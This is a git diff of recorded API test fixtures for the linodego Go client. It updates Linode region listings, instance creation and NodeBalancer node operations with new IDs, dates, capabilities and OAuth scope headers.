"capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "it-mil", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -138,7 +152,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-mia", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -147,7 +162,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "id-cgk", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -156,7 +172,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-lax", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -165,65 +182,75 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-central", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, - 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, - 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU - Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", - "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block - Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", - "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, - DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, - 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: @@ -245,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:30 GMT + - Fri, 31 May 2024 17:28:32 GMT Pragma: - no-cache Strict-Transport-Security: @@ -262,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -271,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-74uq6x25mfw5","root_pass":"2vCt11P\u003cO9UH0r3yJN|z\u0026,6d=eHg\u003e6\\59?2}):tQ[n^Pn0Cwh@D2j|$26pB6FTLd","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-6su1e549uoo7","root_pass":";5WkP6I4mz.]0=jc\u003cN[HxI0uE9\u003c{d6},EEy2/z3Ivh0Ljl5y8I\u002664Y,4!5v=WX,N","image":"linode/debian9","firewall_id":501400,"booted":false}' form: {} headers: Accept: @@ -283,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 55899624, "label": "go-test-ins-74uq6x25mfw5", "group": "", "status": + body: '{"id": 59542218, "label": "go-test-ins-6su1e549uoo7", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["192.46.212.26"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.113"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "ddc9b0f1543cd067735eb31792566cb8378c2e9b", "has_user_data": false}' + "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -308,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "741" + - "766" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:31 GMT + - Fri, 31 May 2024 17:28:33 GMT Pragma: - no-cache Strict-Transport-Security: @@ -329,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -347,11 +381,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55899624/ips + url: https://api.linode.com/v4beta/linode/instances/59542218/ips method: POST response: - body: '{"address": "192.168.128.97", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 55899624, + body: '{"address": "192.168.141.89", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 59542218, "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: @@ -375,7 +409,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:31 GMT + - Fri, 31 May 2024 17:28:33 GMT Pragma: - no-cache Strict-Transport-Security: @@ -390,7 +424,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -399,7 +436,7 @@ interactions: code: 200 duration: "" - request: - body: '{"address":"192.168.128.97:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' + body: '{"address":"192.168.141.89:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: @@ -408,12 +445,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/552752/configs/869293/nodes + url: https://api.linode.com/v4beta/nodebalancers/694190/configs/1134764/nodes method: POST response: - body: '{"id": 1943752004, "address": "192.168.128.97:8080", "label": "go-node-test-def", - "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 869293, "nodebalancer_id": - 552752}' + body: '{"id": 2047158853, "address": "192.168.141.89:8080", "label": "go-node-test-def", + "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1134764, "nodebalancer_id": + 694190}' headers: Access-Control-Allow-Credentials: - "true" @@ -430,13 +467,13 @@ interactions: Connection: - keep-alive Content-Length: - - "182" + - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:31 GMT + - Fri, 31 May 2024 17:28:33 GMT Pragma: - no-cache Strict-Transport-Security: @@ -451,7 +488,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -460,7 +500,7 @@ interactions: code: 200 duration: "" - request: - body: '{"port":80,"protocol":"http","proxy_protocol":"none","algorithm":"roundrobin","stickiness":"none","check":"none","check_interval":60,"check_attempts":3,"check_passive":true,"check_timeout":30,"cipher_suite":"recommended","nodes":[{"address":"192.168.128.97:8080","label":"go-node-test-def","weight":10,"mode":"accept","id":1943752004}]}' + body: '{"port":80,"protocol":"http","proxy_protocol":"none","algorithm":"roundrobin","stickiness":"none","check":"none","check_interval":60,"check_attempts":3,"check_passive":true,"check_timeout":30,"cipher_suite":"recommended","nodes":[{"address":"192.168.141.89:8080","label":"go-node-test-def","weight":10,"mode":"accept","id":2047158853}]}' form: {} headers: Accept: @@ -469,14 +509,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/552752/configs/869293/rebuild + url: https://api.linode.com/v4beta/nodebalancers/694190/configs/1134764/rebuild method: POST response: - body: '{"id": 869293, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134764, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 552752, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694190, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 1}}' headers: Access-Control-Allow-Credentials: @@ -494,13 +534,13 @@ interactions: Connection: - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:31 GMT + - Fri, 31 May 2024 17:28:33 GMT Pragma: - no-cache Strict-Transport-Security: @@ -515,7 +555,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -533,12 +576,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/552752/configs/869293/nodes + url: https://api.linode.com/v4beta/nodebalancers/694190/configs/1134764/nodes method: GET response: - body: '{"data": [{"id": 1943752004, "address": "192.168.128.97:8080", "label": + body: '{"data": [{"id": 2047158853, "address": "192.168.141.89:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": - 869293, "nodebalancer_id": 552752}], "page": 1, "pages": 1, "results": 1}' + 1134764, "nodebalancer_id": 694190}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -555,13 +598,13 @@ interactions: Connection: - keep-alive Content-Length: - - "231" + - "232" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:31 GMT + - Fri, 31 May 2024 17:28:33 GMT Pragma: - no-cache Strict-Transport-Security: @@ -577,7 +620,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -595,7 +641,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/552752/configs/869293/nodes/1943752004 + url: https://api.linode.com/v4beta/nodebalancers/694190/configs/1134764/nodes/2047158853 method: DELETE response: body: '{}' @@ -621,7 +667,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:32 GMT + - Fri, 31 May 2024 17:28:34 GMT Pragma: - no-cache Strict-Transport-Security: @@ -636,7 +682,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -654,7 +703,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55899624 + url: https://api.linode.com/v4beta/linode/instances/59542218 method: DELETE response: body: '{}' @@ -680,7 +729,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:33 GMT + - Fri, 31 May 2024 17:28:34 GMT Pragma: - no-cache Strict-Transport-Security: @@ -695,7 +744,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestNodeBalancer_Update.yaml b/test/integration/fixtures/TestNodeBalancer_Update.yaml index 3059f2394..1b73d3936 100644 --- a/test/integration/fixtures/TestNodeBalancer_Update.yaml +++ b/test/integration/fixtures/TestNodeBalancer_Update.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228224, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 